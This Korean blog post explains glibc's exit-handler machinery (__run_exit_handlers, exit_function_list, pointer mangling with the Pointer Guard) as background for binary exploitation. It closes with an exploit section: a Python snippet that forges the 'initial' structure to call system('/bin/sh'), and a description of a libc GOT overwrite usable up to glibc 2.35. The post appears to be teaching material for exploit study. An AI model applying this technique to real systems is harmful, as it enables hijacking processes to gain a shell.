__run_exit_handlers
먼저 프로그램의 실행 과정을 보면,

종료되는 과정에서 exit() -> __run_exit_handler() 가 실행되는 것을 볼 수 있다.
__run_exit_handler()
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
__libc_lock_lock (__exit_funcs_lock);
/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
continue;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
__libc_lock_unlock (__exit_funcs_lock);
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
_exit (status);
}
__run_exit_handler()에서는 __exit_funcs가 가리키는 exit_function_list를 참조하여 함수를 호출한다.
호출되는 함수 주소는 MANGLE, DEMANGLE을 통해 암호화, 복호화 되는데, 다음 자료를 보자.

rdx에는 exit_function 구조체가 들어있다. +0x18 오프셋의 포인터를 가져와서 ror(rotation right) 0x11을 거치고, fs:0x30에 위치한 값인 Pointer Guard와 xor연산을 한다. 이후 +0x20 오프셋의 포인터를 인자로 연산 결과 주소를 호출하는 것을 볼 수 있다.
__exit_funcs 는 struct exit_function_list* 타입이고, 단일 연결 리스트를 구성한다.
struct exit_function_list
{
struct exit_function_list *next;
size_t idx;
struct exit_function fns[32];
};
struct exit_function
{
/* `flavour' should be of type of the `enum' above but since we need
this element in an atomic operation we have to use `long int'. */
long int flavor;
union
{
void (*at) (void);
struct
{
void (*fn) (int status, void *arg);
void *arg;
} on;
struct
{
void (*fn) (void *arg, int status);
void *arg;
void *dso_handle;
} cxa;
} func;
};


exit_function_list인 initial의 출력 결과이다. 위에서 설명한 __exit_funcs가 initial의 포인터를 가지고 있는 것을 알 수 있다.
Exploit
system("/bin/sh")을 실행하기 위해, 먼저 fs:0x30에 있는 Pointer Guard를 leak하여 값을 알아내거나, \x00(NULL)로 overwrite 해야 한다. 앞서 설명했듯 MANGLE, DEMANGLE 과정에서 해당 값과 XOR 연산을 하기 때문이다. Pointer Guard가 NULL 일 경우의 익스플로잇을 예시로 들자.
여기서 두가지 방법이 있다.
첫번째는 initial 구조체를 조작하는 방법이다. 이는 libc영역에 존재하고, aaw취약점이 존재할 경우 다음과 같이 수정할 수 있다.
target = libc_base + libc.sym['initial']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
def rol64(x, r):
return ((x << r) | (x >> (64 - r))) & ((1 << 64) - 1)
mangled_ptr = rol64(system, 0x11)
initial_payload = p64(0) + p64(1) + p64(4) + p64(mangled_ptr) + p64(binsh)
overwrite(target, initial_payload)
두번째 방법은 glibc 2.35까지 사용 가능한 방법으로, libc GOT Overwrite이다. glibc 2.35까지는 libc 바이너리가 Partial RELRO인데, 이로 인해 __exit_funcs의 GOT를 조작하는 방법으로 쉘을 획득 가능하다. 특정 영역에 fake exit_function_list를 구성하고, 해당 fake 구조체의 주소로 __exit_funcs의 GOT를 덮어서 쉘 획득이 가능하다. fake struct는 첫번째 방법에서의 구조와 동일하다.
'PWN > 개념' 카테고리의 다른 글
| fflush() 이용한 libc leak, 그 외 (0) | 2025.09.11 |
|---|---|
| fastbin attack시의 size check (0) | 2025.09.08 |
| FSOP - _IO_WDOALLOCATE 를 이용한 익스플로잇 (1) | 2025.08.29 |
| FSOP - vtables, bypass _IO_validate_vtable (1) | 2025.08.27 |
| FSOP - template/_flags (0) | 2025.08.27 |